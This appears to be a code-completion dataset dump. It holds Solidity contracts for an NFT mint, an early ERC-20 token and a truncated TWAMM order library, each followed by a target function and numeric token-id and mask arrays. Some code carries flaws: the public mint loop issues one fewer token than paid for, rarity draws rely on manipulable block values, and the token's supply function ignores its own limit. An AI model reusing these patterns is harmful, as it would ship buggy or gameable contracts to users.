rarity[tokenId])]; return output; } function getFirstStatValue(uint256 tokenId) public view returns (uint) { require(_exists(tokenId), "Nonexistent token"); uint output; SourceData source_data = SourceData(dataContract); uint firstStatValue = source_data.getFirstStatValue(tokenId, rarity[tokenId]); output = (firstStatValue * getItemLevel(tokenId)) + 1; return output; } string[] private secondStat = [ "Lockpicking", "Regeneration", "Armor", "Backpack", "Intelligence", "Charge", "Damage boost", "Reflexes", "Radar", "Keymaster", "Pickpocket", "EMP shield", "EMP power", "Run silent", "Nanotech" ]; function getSecondStat(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Nonexistent token"); string memory output; SourceData source_data = SourceData(dataContract); output = secondStat[source_data.getSecondStat(tokenId, rarity[tokenId])]; return output; } function getSecondStatValue(uint256 tokenId) public view returns (uint) { require(_exists(tokenId), "Nonexistent token"); uint output; SourceData source_data = SourceData(dataContract); uint secondStatValue = source_data.getSecondStatValue(tokenId, rarity[tokenId]); output = (secondStatValue * getItemLevel(tokenId)) + 1; return output; } string[] private firstAugment = [ "Scrapper", "Bionic Arms", "Detoxifier", "Bionic Lungs", "Hardened Bones", "Berserk", "Blood pump", "Edge runner", "Adrenaline Pump", "Bloodware", "Cyber Joints", "Cloaking", "Nanobots", "Synthetic Heart", "?" ]; function getFirstAugment(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Nonexistent token"); string memory output; SourceData source_data = SourceData(dataContract); output = firstAugment[source_data.getFirstAugment(tokenId, rarity[tokenId])]; return output; } string[] private secondAugment = [ "Nightvision", "Titan Knuckles", "Cyber Legs", "Cyber Arms", "Reflex Boost", "Lizard skin", "Titanium Bones", "Echolocation", "Thermal vision", "X-ray Vision", "Shapeshifter", "Exoskeleton", "Stealth kit", "Double Heart", "?" ]; function getSecondAugment(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Nonexistent token"); string memory output; SourceData source_data = SourceData(dataContract); output = secondAugment[source_data.getSecondAugment(tokenId, rarity[tokenId])]; return output; } function getAirdrops(uint256 tokenId) public view returns (uint) { require(_exists(tokenId), "Nonexistent token"); uint output; SourceData source_data = SourceData(dataContract); output = source_data.getAirdrops(tokenId, rarity[tokenId]) + getItemLevel(tokenId); return output; } string internal baseTokenURI; function setBaseTokenURI(string memory _uri) external onlyOwner { baseTokenURI = _uri; } string internal externalURI; function setExternalURI(string memory _uri) external onlyOwner { externalURI = _uri; } function tokenURI(uint _tokenId) public view override returns (string memory) { require(_exists(_tokenId), "Query for non-existent token!"); string[7] memory json; json[0] = string( abi.encodePacked('{', '"name": "Cyber Upgrade #', t(_tokenId), ' (Level: ', t(getItemLevel(_tokenId)), ')",', '"image": "', baseTokenURI, t(rarity[_tokenId]), '.jpg",', '"external_url": "', externalURI, '?dna=', getDna(_tokenId) ,'&id=', t(_tokenId) ,'",', '"description": "Upgrades waiting to be connected to players.",', '"attributes": [' ) ); json[1] = string( abi.encodePacked( '{', '"trait_type": "Rarity",', '"value": "', getRarity(_tokenId) ,'"', '},', '{', '"trait_type": "Level",', '"value": "', t(getItemLevel(_tokenId)) ,'"', '},' ) ); json[2] = string( abi.encodePacked( '{', '"trait_type": "Upgrade #1",', '"value": "', getFirstStat(_tokenId) , " +", t(getFirstStatValue(_tokenId)) ,'"', '},' ) ); json[3] = string( abi.encodePacked( '{', '"trait_type": "Upgrade #2",', '"value": "', getSecondStat(_tokenId) ," +", t(getSecondStatValue(_tokenId)) ,'"', '},' ) ); json[4] = string( abi.encodePacked( '{', '"trait_type": "Augmentation #1",', '"value": "', getFirstAugment(_tokenId) ,'"', '},' ) ); json[5] = string( abi.encodePacked( '{', '"trait_type": "Augmentation #2",', '"value": "', getSecondAugment(_tokenId) ,'"', '},', '{', '"trait_type": "Airdrops",', '"value": "x', t(getAirdrops(_tokenId)) ,'"', '}' ) ); json[6] = string( abi.encodePacked('],', '"animation_url": "', externalURI, '?dna=', getDna(_tokenId) , '&id=', t(_tokenId) , '",', '"iframe_url": "', externalURI, '?dna=', getDna(_tokenId) , '&id=', t(_tokenId) , '"', '}') ); string memory result = Base64.encode( bytes( string( abi.encodePacked( json[0], json[1], json[2], json[3], json[4], json[5], json[6] ) ) ) ); return string(abi.encodePacked("data:application/json;base64,", result)); } // helper function t(uint _tokenId) public pure returns (string memory) { return Strings.toString(_tokenId); } // Getters function getDna(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Query for non-existent token!"); SourceData source_data = SourceData(dataContract); // First stat index uint firstStatIndex = source_data.getFirstStat(tokenId, rarity[tokenId]); // First stat index uint secondStatIndex = source_data.getSecondStat(tokenId, rarity[tokenId]); string[2] memory dna; dna[0] = string( abi.encodePacked( t(rarity[tokenId]), "-", t(levels[tokenId]), "-", t(firstStatIndex), "-", t(getFirstStatValue(tokenId)), "-" ) ); dna[1] = string( abi.encodePacked( t(secondStatIndex), "-", t(getSecondStatValue(tokenId)), "-", t(source_data.getFirstAugment(tokenId, rarity[tokenId])), "-", t(source_data.getSecondAugment(tokenId, rarity[tokenId])), "-", t(getAirdrops(tokenId)) ) ); string memory result = string( abi.encodePacked( dna[0], dna[1] ) ); return string(abi.encodePacked(result)); } function getItemLevel(uint256 tokenId) public view returns (uint) { return levels[tokenId]; } function setItemLevel(uint tokenId, uint level) external { require(msg.sender == levelUpContract, "You can not call this"); levels[tokenId] = level; } function whitelistClaim(bytes32[] memory proof, uint proofNumber) public nonReentrant payable { require(whitelistMintStart < block.timestamp, "Whitelist mint not started yet"); require(maxTokens - total > vaultHolderReserves, "Minting over vault holder limit"); require(total < maxTokens, "All tokens are already minted"); require(msg.value == mintCost, "Incorrect mint cost value"); require(_whitelistMinters[_msgSender()] < 1, "You've already minted"); // Merkle tree validation bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(proof, rootHashes[proofNumber], leaf), "Invalid proof"); uint userTokens = proofNumber * 1000; // Proceed in minting process uint tokenId = getVRFRandomIndex(false, 0, userTokens); total++; // Set the _whitelistMinters value to tokenId for this address as it has minted _whitelistMinters[_msgSender()] = tokenId; _safeMint(_msgSender(), tokenId); } function publicClaim(uint numberOfTokens) public nonReentrant payable { require(publicMintStart < block.timestamp, "Public mint did not start yet"); require(maxTokens - total > vaultHolderReserves, "Minting over vault holder limit"); require(total + numberOfTokens < maxTokens, "All tokens are already minted"); require(numberOfTokens > 0, "Can not mint zero tokens"); require(numberOfTokens < 11, "Request exceeds max tokens"); require(msg.value == publicMintCost * numberOfTokens, "Incorrect mint cost value"); for (uint i=1; i < numberOfTokens; i++) { uint tokenId = getVRFRandomIndex(false, 0, 0); total++; _safeMint(_msgSender(), tokenId); } } function vaultHolderClaim(bytes32[] memory proof, uint proofNumber, uint[] memory vaultIds) public nonReentrant { require(whitelistMintStart < block.timestamp, "Whitelist mint not started yet"); require(total + vaultIds.length < maxTokens, "Mint over the max tokens limit"); for (uint i=0; i < vaultIds.length; i++) { require(validateVaultOwnership(vaultIds[i]), "Not Vault owner"); require(!checkUsedVault(vaultIds[i]), "Vault was already used"); } // This sender does not necessary need to have tokens, it is optional uint userTokens = 0; // Merkle tree for getting tokens bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); if (MerkleProof.verify(proof, rootHashes[proofNumber], leaf) ) { userTokens = proofNumber * 1000; } for (uint i=0; i < vaultIds.length; i++) { // get vault rarity uint tokenId = getVRFRandomIndex(true, getVaultRarity(vaultIds[i]), userTokens); _usedVaults[vaultIds[i]] = true; total++; vaultHolderReserves--; _safeMint(_msgSender(), tokenId); } } function vaultHolderClaimCombined(bytes32[] memory proof, uint proofNumber, uint[] memory vaultIds) public nonReentrant payable { require(whitelistMintStart < block.timestamp, "Whitelist mint not started yet"); require(total + 1 + vaultIds.length < maxTokens, "Mint over the max tokens limit"); require(msg.value == mintCost, "Incorrect mint cost value"); require(_whitelistMinters[_msgSender()] < 1, "You've already minted"); for (uint i=0; i < vaultIds.length; i++) { require(validateVaultOwnership(vaultIds[i]), "Not Vault owner"); require(!checkUsedVault(vaultIds[i]), "Vault was already used"); } uint userTokens = 0; // Merkle tree for getting tokens bytes32 leaf = keccak256(abi.encodePacked(msg.sender)); require(MerkleProof.verify(proof, rootHashes[proofNumber], leaf), "Invalid proof"); userTokens = proofNumber * 1000; // Continue minting process for (uint i=0; i < vaultIds.length; i++) { uint tokenId = getVRFRandomIndex(true, getVaultRarity(vaultIds[i]), userTokens); _usedVaults[vaultIds[i]] = true; total++; vaultHolderReserves--; _safeMint(_msgSender(), tokenId); } // + 1 for whitelist uint additionalTokenId = getVRFRandomIndex(false, 0, userTokens); total++; _whitelistMinters[_msgSender()] = additionalTokenId; _safeMint(_msgSender(), additionalTokenId); } function validateVaultOwnership(uint _vaultID) internal view returns(bool) { ERC721 vaultContractData = ERC721(vaultContract); if(vaultContractData.ownerOf(_vaultID) == msg.sender) { return true; } return false; } function checkUsedVault(uint _vaultID) internal view returns(bool) { if (_usedVaults[_vaultID] == true) { return true; } return false; } function vaultCheck(uint _vaultID) public view returns (bool) { if (_usedVaults[_vaultID] == true) { return true; } return false; } function getVaultRarity(uint _vaultID) public view returns (uint) { uint output; SourceData source_data = SourceData(dataContract); output = source_data.getVaultRarity(_vaultID); return output; } function sysAdminClaim() public onlyOwner nonReentrant { require(sysAdminMinted == false, "Already minted!"); sysAdminMinted = true; uint tokenId = getVRFRandomIndex(false, 0, 0); total++; _safeMint(owner(), tokenId); } function error404Claim() public nonReentrant { require(msg.sender == error404Address, "Not Error 404"); require(error404Minted == false, "Already minted!"); error404Minted = true; uint tokenId = getVRFRandomIndex(false, 0, 0); total++; _safeMint(msg.sender, tokenId); } function code200Claim() public nonReentrant { require(msg.sender == code200Address, "Not Code 200"); require(code200Minted == false, "Already minted!"); code200Minted = true; uint tokenId = getVRFRandomIndex(false, 0, 0); total++; _safeMint(msg.sender, tokenId); } function giveawaysClaim() public nonReentrant { require(msg.sender == giveawaysAddress, "Not Giveaways wallet"); require(giveawaysMinted == false, "Already minted!"); giveawaysMinted = true; for (uint i=0; i < 20; i++) { uint tokenId = getVRFRandomIndex(false, 0, 0); total++; _safeMint(msg.sender, tokenId); } } constructor() ERC721("Console NFT Cyber Upgrades", "Cnsl-NFT-U") VRFConsumerBase( 0xf0d54349aDdcf704F77AE15b96510dEA15cb7952, 0x514910771AF9Ca656af840dff83E8264EcF986CA ) Ownable() { keyHash = 0xAA77729D3466CA35AE8D28B3BBAC7CC36A5031EFDC430821C02BC31A238AF445; fee = 2 * (10**18); error404Address = 0x24Db9e45f6aC29175030A083B985C184A02c2d64; code200Address = 0x1C0d3B190B18b4452BD4d0928D7f425eA9A0B3F9; giveawaysAddress = 0x7e95c71bDF0E0526eA534Fb5191ceD999190c117; whitelistMintStart = 1644330600; // 8. february 2022 - 14:30 UTC publicMintStart = 1644359400; // 8. february 2022 - 23:30 UTC (+8 hours) rarities.push(3250); // Common - 65% rarities.push(1000); // Uncommon - 20% rarities.push(475); // Rare - 9.5% rarities.push(225); // Epic - 4.5% rarities.push(50); // Legendary - 1% } ////////////////////////// VRF ///////////////////////////// bytes32 internal keyHash; uint internal fee; uint internal randomResult; // VRF Functions function getRandomNumber() public onlyOwner returns (bytes32 requestId) { require(LINK.balanceOf(address(this)) >= fee, "Not enough LINK!"); return requestRandomness(keyHash, fee); } function fulfillRandomness(bytes32 requestId, uint randomness) internal override { randomResult = randomness; } function getRandomResult() public view onlyOwner returns (uint) { return randomResult; } // >>> Now, the VRF is stored in [uint internal randomResult] ////////////////////////// VRF ///////////////////////////// /////////////////////// Token ID Generator //////////////////////// uint[maxTokens] internal indices; uint32 internal nonce; function getVRFRandomIndex(bool hasVault, uint vaultRarity, uint _userTokens) internal returns (uint) { require(randomResult != 0, "VRF Random Result has not been set!"); // Get the random token ID uint _tokensRemaining = maxTokens - total; // require that this calculation is possible from all caller functions uint _maxIndex = _tokensRemaining == 0 ? 0 : _tokensRemaining - 1; // shorthand if for safety uint _rand = uint(keccak256(abi.encodePacked(randomResult, nonce, msg.sender, block.difficulty, block.timestamp))) % _tokensRemaining; uint _output = 0; _output = indices[_rand] != 0 ? indices[_rand] :_rand; indices[_rand] = indices[_maxIndex] == 0 ? _maxIndex : indices[_maxIndex]; uint32 _nonceAdd = uint32(uint256(keccak256(abi.encodePacked(randomResult, nonce, msg.sender, block.difficulty, block.timestamp)))) % 10; nonce += _nonceAdd; // Get the data from Percentage Contract PercentageGenerator percentage = PercentageGenerator(percentageContract); uint[] memory percentageArray = percentage.calculatePercentage(hasVault, vaultRarity, _userTokens); // Construct view array of 10k items to pick from // Because of rounding errors there might be close but not exactly 10k items, this should be safe uint totalItems; uint[] memory percentageNumbers = new uint[](5); for (uint i=0; i < percentageArray.length; i++) { totalItems += percentageArray[i]; percentageNumbers[i] = totalItems; } // VRF guess the number in 10k items to get the rarity uint _randRarity = uint(keccak256(abi.encodePacked(randomResult, nonce, msg.sender, block.difficulty, block.timestamp))) % totalItems; uint rarityResult = 0; // Common as base // Get the rarity based on the VRF result if (_randRarity >= percentageNumbers[0] && _randRarity < percentageNumbers[1]) { rarityResult = 1; // Uncommon } if (_randRarity >= percentageNumbers[1] && _randRarity < percentageNumbers[2]) { rarityResult = 2; // Rare } if (_randRarity >= percentageNumbers[2] && _randRarity < percentageNumbers[3]) { rarityResult = 3; // Rpic } if (_randRarity >= percentageNumbers[3] && _randRarity <= percentageNumbers[4]) { rarityResult = 4; // Legendary } // If rarity no longer exist in the pool, give lower rarity if (rarities[rarityResult] > 0) { rarities[rarityResult]--; // There is still enough in the rarity pool // Assign rarity to this token ID rarity[_output] = rarityResult; // Assign starting level levels[_output] = 1; } else { // give other rarity, up or down rarity[_output] = pickOtherRarity(rarityResult); } return _output; } function pickOtherRarity(uint rarityResult) internal returns (uint) { bool direction; // default false = down if (rarities[rarityResult] > 0) { return rarityResult; } else { if(rarityResult == 4){ direction = false; } if(rarityResult == 0){ direction = true; } if(direction == true){ rarityResult++; } else { rarityResult--; } if( rarities[rarityResult] > 0 ) { return rarityResult; } else { return pickOtherRarity(rarityResult); } } } /////////////////////// Token ID Generator //////////////////////// // Withdraw Ether function withdrawEther() public onlyOwner { payable(msg.sender).transfer(address(this).balance); } }
Getters First stat index First stat index
function getDna(uint256 tokenId) public view returns (string memory) { require(_exists(tokenId), "Query for non-existent token!"); SourceData source_data = SourceData(dataContract); uint firstStatIndex = source_data.getFirstStat(tokenId, rarity[tokenId]); uint secondStatIndex = source_data.getSecondStat(tokenId, rarity[tokenId]); string[2] memory dna; dna[0] = string( abi.encodePacked( t(rarity[tokenId]), "-", t(levels[tokenId]), "-", t(firstStatIndex), "-", t(getFirstStatValue(tokenId)), "-" ) ); dna[1] = string( abi.encodePacked( t(secondStatIndex), "-", t(getSecondStatValue(tokenId)), "-", t(source_data.getFirstAugment(tokenId, rarity[tokenId])), "-", t(source_data.getSecondAugment(tokenId, rarity[tokenId])), "-", t(getAirdrops(tokenId)) ) ); string memory result = string( abi.encodePacked( dna[0], dna[1] ) ); return string(abi.encodePacked(result)); }
10,128,349
[ 1, 967, 5432, 5783, 610, 770, 5783, 610, 770, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2343, 6582, 12, 11890, 5034, 1147, 548, 13, 1071, 1476, 1135, 261, 1080, 3778, 13, 288, 203, 3639, 2583, 24899, 1808, 12, 2316, 548, 3631, 315, 1138, 364, 1661, 17, 19041, 1147, 4442, 1769, 203, 203, 3639, 4998, 751, 1084, 67, 892, 273, 4998, 751, 12, 892, 8924, 1769, 203, 203, 3639, 2254, 1122, 5000, 1016, 273, 1084, 67, 892, 18, 588, 3759, 5000, 12, 2316, 548, 16, 436, 20498, 63, 2316, 548, 19226, 203, 203, 3639, 2254, 2205, 5000, 1016, 273, 1084, 67, 892, 18, 588, 8211, 5000, 12, 2316, 548, 16, 436, 20498, 63, 2316, 548, 19226, 203, 203, 3639, 533, 63, 22, 65, 3778, 31702, 31, 203, 203, 3639, 31702, 63, 20, 65, 273, 533, 12, 203, 5411, 24126, 18, 3015, 4420, 329, 12, 203, 7734, 268, 12, 86, 20498, 63, 2316, 548, 65, 3631, 3701, 3113, 203, 7734, 268, 12, 12095, 63, 2316, 548, 65, 3631, 3701, 3113, 203, 7734, 268, 12, 3645, 5000, 1016, 3631, 3701, 3113, 203, 7734, 268, 12, 588, 3759, 5000, 620, 12, 2316, 548, 13, 3631, 7514, 203, 5411, 262, 203, 3639, 11272, 203, 540, 203, 3639, 31702, 63, 21, 65, 273, 533, 12, 203, 1082, 202, 21457, 18, 3015, 4420, 329, 12, 203, 7734, 268, 12, 8538, 5000, 1016, 3631, 3701, 3113, 203, 7734, 268, 12, 588, 8211, 5000, 620, 12, 2316, 548, 13, 3631, 3701, 3113, 203, 7734, 268, 12, 3168, 67, 892, 18, 588, 3759, 37, 14870, 12, 2316, 548, 16, 436, 20498, 63, 2316, 548, 5717, 3631, 3701, 3113, 2 ]
pragma solidity ^0.4.11; contract FundariaToken { string public constant name = "Fundaria Token"; string public constant symbol = "RI"; uint public totalSupply; // how many tokens supplied at the moment uint public supplyLimit; // how many tokens can be supplied uint public course; // course wei for token mapping(address=>uint256) public balanceOf; // owned tokens mapping(address=>mapping(address=>uint256)) public allowance; // allowing third parties to transfer tokens mapping(address=>bool) public allowedAddresses; // allowed addresses to manage some functions address public fundariaPoolAddress; // ether source for Fundaria development address creator; // creator address of this contract event SuppliedTo(address indexed _to, uint _value); event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event SupplyLimitChanged(uint newLimit, uint oldLimit); event AllowedAddressAdded(address _address); event CourseChanged(uint newCourse, uint oldCourse); function FundariaToken() { allowedAddresses[msg.sender] = true; // add creator address to allowed addresses creator = msg.sender; } // condition to be creator address to run some functions modifier onlyCreator { if(msg.sender == creator) _; } // condition to be allowed address to run some functions modifier isAllowed { if(allowedAddresses[msg.sender]) _; } // set address for Fundaria source of ether function setFundariaPoolAddress(address _fundariaPoolAddress) onlyCreator { fundariaPoolAddress = _fundariaPoolAddress; } // expand allowed addresses with new one function addAllowedAddress(address _address) onlyCreator { allowedAddresses[_address] = true; AllowedAddressAdded(_address); } // remove allowed address function removeAllowedAddress(address _address) onlyCreator { delete allowedAddresses[_address]; } // increase token balance of some address function supplyTo(address _to, uint _value) isAllowed { totalSupply += _value; balanceOf[_to] += _value; SuppliedTo(_to, _value); } // limit total tokens can be supplied function setSupplyLimit(uint newLimit) isAllowed { SupplyLimitChanged(newLimit, supplyLimit); supplyLimit = newLimit; } // set course function setCourse(uint newCourse) isAllowed { CourseChanged(newCourse, course); course = newCourse; } // token for wei according to course function tokenForWei(uint _wei) constant returns(uint) { return _wei/course; } // wei for token according to course function weiForToken(uint _token) constant returns(uint) { return _token*course; } // transfer tokens to another address (owner) function transfer(address _to, uint256 _value) returns (bool success) { if (_to == 0x0 || balanceOf[msg.sender] < _value || balanceOf[_to] + _value < balanceOf[_to]) return false; balanceOf[msg.sender] -= _value; balanceOf[_to] += _value; Transfer(msg.sender, _to, _value); return true; } // setting of availability of tokens transference for third party function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if(_to == 0x0 || balanceOf[_from] < _value || _value > allowance[_from][msg.sender]) return false; balanceOf[_from] -= _value; balanceOf[_to] += _value; allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; } // approving transference of tokens for third party function approve(address _spender, uint256 _value) returns (bool success) { allowance[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } // Prevents accidental sending of ether function () { throw; } }
setting of availability of tokens transference for third party
function transferFrom(address _from, address _to, uint256 _value) returns (bool success) { if(_to == 0x0 || balanceOf[_from] < _value || _value > allowance[_from][msg.sender]) return false; balanceOf[_from] -= _value; balanceOf[_to] += _value; allowance[_from][msg.sender] -= _value; Transfer(_from, _to, _value); return true; }
13,128,426
[ 1, 8920, 434, 13395, 434, 2430, 906, 1134, 364, 12126, 18285, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 1265, 12, 2867, 389, 2080, 16, 1758, 389, 869, 16, 2254, 5034, 389, 1132, 13, 7010, 3639, 1135, 261, 6430, 2216, 13, 288, 203, 3639, 309, 24899, 869, 422, 374, 92, 20, 747, 11013, 951, 63, 67, 2080, 65, 411, 389, 1132, 747, 389, 1132, 405, 1699, 1359, 63, 67, 2080, 6362, 3576, 18, 15330, 5717, 7010, 5411, 327, 629, 31, 4766, 203, 3639, 11013, 951, 63, 67, 2080, 65, 3947, 389, 1132, 31, 18701, 203, 3639, 11013, 951, 63, 67, 869, 65, 1011, 389, 1132, 31, 17311, 203, 3639, 1699, 1359, 63, 67, 2080, 6362, 3576, 18, 15330, 65, 3947, 389, 1132, 31, 203, 3639, 12279, 24899, 2080, 16, 389, 869, 16, 389, 1132, 1769, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 377, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
//SPDX-License-Identifier: Unlicense pragma solidity ^0.8.0; import "hardhat/console.sol"; //import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "prb-math/contracts/PRBMathSD59x18.sol"; import "../core/interfaces/IERC20V5.sol"; import "./OrderPool.sol"; ///@notice This library handles the state and execution of long term orders. library LongTermOrdersLib { using PRBMathSD59x18 for int256; using OrderPoolLib for OrderPoolLib.OrderPool; ///@notice information associated with a long term order struct Order { uint256 id; uint256 expirationBlock; uint256 saleRate; address owner; address sellTokenId; address buyTokenId; } ///@notice structure contains full state related to long term orders struct LongTermOrders { ///@notice minimum block interval between order expiries uint256 orderBlockInterval; ///@notice last virtual orders were executed immediately before this block uint256 lastVirtualOrderBlock; ///@notice token pair being traded in embedded amm address tokenA; address tokenB; ///@notice mapping from token address to pool that is selling that token ///we maintain two order pools, one for each token that is tradable in the AMM mapping(address => OrderPoolLib.OrderPool) OrderPoolMap; ///@notice incrementing counter for order ids uint256 orderId; ///@notice mapping from order ids to Orders mapping(uint256 => Order) orderMap; } struct ExecuteVirtualOrdersResult { uint112 previousReserve0; uint112 previousReserve1; uint112 newReserve0; uint112 newReserve1; uint sold0; uint sold1; uint receive0; uint receive1; } ///@notice initialize state function initialize(LongTermOrders storage self , address tokenA , address tokenB , uint256 lastVirtualOrderBlock , uint256 orderBlockInterval) internal { self.tokenA = tokenA; self.tokenB = tokenB; self.lastVirtualOrderBlock = lastVirtualOrderBlock; self.orderBlockInterval = orderBlockInterval; } ///@notice swap token A for token B. Amount represents total amount being sold, numberOfBlockIntervals determines when order expires function longTermSwapFromAToB(LongTermOrders storage self, uint256 amountA, uint256 numberOfBlockIntervals) internal returns (uint256) { return performLongTermSwap(self, self.tokenA, self.tokenB, amountA, numberOfBlockIntervals); } ///@notice swap token B for token A. Amount represents total amount being sold, numberOfBlockIntervals determines when order expires function longTermSwapFromBToA(LongTermOrders storage self, uint256 amountB, uint256 numberOfBlockIntervals) internal returns (uint256) { return performLongTermSwap(self, self.tokenB, self.tokenA, amountB, numberOfBlockIntervals); } ///@notice adds long term swap to order pool function performLongTermSwap(LongTermOrders storage self, address from, address to, uint256 amount, uint256 numberOfBlockIntervals) private returns (uint256) { //update virtual order state // executeVirtualOrdersUntilCurrentBlock(self, reserveMap); // transfer sale amount to contract IERC20V5(from).transferFrom(msg.sender, address(this), amount); //determine the selling rate based on number of blocks to expiry and total amount uint256 currentBlock = block.number; uint256 lastExpiryBlock = currentBlock - (currentBlock % self.orderBlockInterval); uint256 orderExpiry = self.orderBlockInterval * (numberOfBlockIntervals + 1) + lastExpiryBlock; uint256 sellingRate = amount / (orderExpiry - currentBlock); //add order to correct pool OrderPoolLib.OrderPool storage OrderPool = self.OrderPoolMap[from]; OrderPool.depositOrder(self.orderId, sellingRate, orderExpiry); //add to order map self.orderMap[self.orderId] = Order(self.orderId, orderExpiry, sellingRate, msg.sender, from, to); return self.orderId++; } ///@notice cancel long term swap, pay out unsold tokens and well as purchased tokens function cancelLongTermSwap(LongTermOrders storage self, uint256 orderId) internal returns (address sellToken, uint256 unsoldAmount, address buyToken, uint256 purchasedAmount) { //update virtual order state // executeVirtualOrdersUntilCurrentBlock(self, reserveMap); Order storage order = self.orderMap[orderId]; require(order.owner == msg.sender); OrderPoolLib.OrderPool storage OrderPool = self.OrderPoolMap[order.sellTokenId]; (unsoldAmount, purchasedAmount) = OrderPool.cancelOrder(orderId); buyToken = order.buyTokenId; sellToken = order.sellTokenId; require(unsoldAmount > 0 || purchasedAmount > 0); //transfer to owner IERC20V5(order.buyTokenId).transfer(msg.sender, purchasedAmount); IERC20V5(order.sellTokenId).transfer(msg.sender, unsoldAmount); } ///@notice withdraw proceeds from a long term swap (can be expired or ongoing) function withdrawProceedsFromLongTermSwap(LongTermOrders storage self, uint256 orderId) internal returns (address proceedToken, uint256 proceeds) { //update virtual order state // executeVirtualOrdersUntilCurrentBlock(self, reserveMap); Order storage order = self.orderMap[orderId]; require(order.owner == msg.sender); OrderPoolLib.OrderPool storage OrderPool = self.OrderPoolMap[order.sellTokenId]; proceeds = OrderPool.withdrawProceeds(orderId); proceedToken = order.buyTokenId; require(proceeds > 0); //transfer to owner IERC20V5(order.buyTokenId).transfer(msg.sender, proceeds); } ///@notice executes all virtual orders between current lastVirtualOrderBlock and blockNumber //also handles orders that expire at end of final block. This assumes that no orders expire inside the given interval function executeVirtualTradesAndOrderExpiries(LongTermOrders storage self, ExecuteVirtualOrdersResult memory reserveResult, uint256 blockNumber) private { //amount sold from virtual trades uint256 blockNumberIncrement = blockNumber - self.lastVirtualOrderBlock; uint256 tokenASellAmount = self.OrderPoolMap[self.tokenA].currentSalesRate * blockNumberIncrement; uint256 